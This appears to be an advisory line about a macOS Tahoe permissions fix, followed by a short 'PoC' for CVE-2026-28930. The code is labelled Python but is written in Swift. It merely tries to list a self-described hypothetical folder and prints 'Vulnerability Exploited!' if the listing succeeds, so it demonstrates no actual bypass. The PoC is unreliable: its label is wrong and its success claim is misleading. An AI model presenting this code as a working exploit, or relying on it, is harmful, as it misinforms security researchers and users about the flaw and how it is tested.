A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.5. An app may be able to access protected user data.
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-28930 (macOS Tahoe Permissions Bypass)
* This conceptual code demonstrates how an app might attempt to access
* protected user data without explicit authorization on vulnerable versions.
*/
import Foundation
func attemptProtectedDataAccess() {
let protectedDir = "/Users/Shared/ProtectedData" // Hypothetical sensitive path
let fileManager = FileManager.default
print("[*] Checking access to: \(protectedDir)")
if fileManager.fileExists(atPath: protectedDir) {
do {
// Attempt to list contents of the protected directory
let contents = try fileManager.contentsOfDirectory(atPath: protectedDir)
print("[+] Vulnerability Exploited! Found files: \(contents)")
} catch {
print("[-] Access denied. System may be patched.")
}
} else {
print("[-] Directory not found.")
}
}
// Run the PoC
attemptProtectedDataAccess()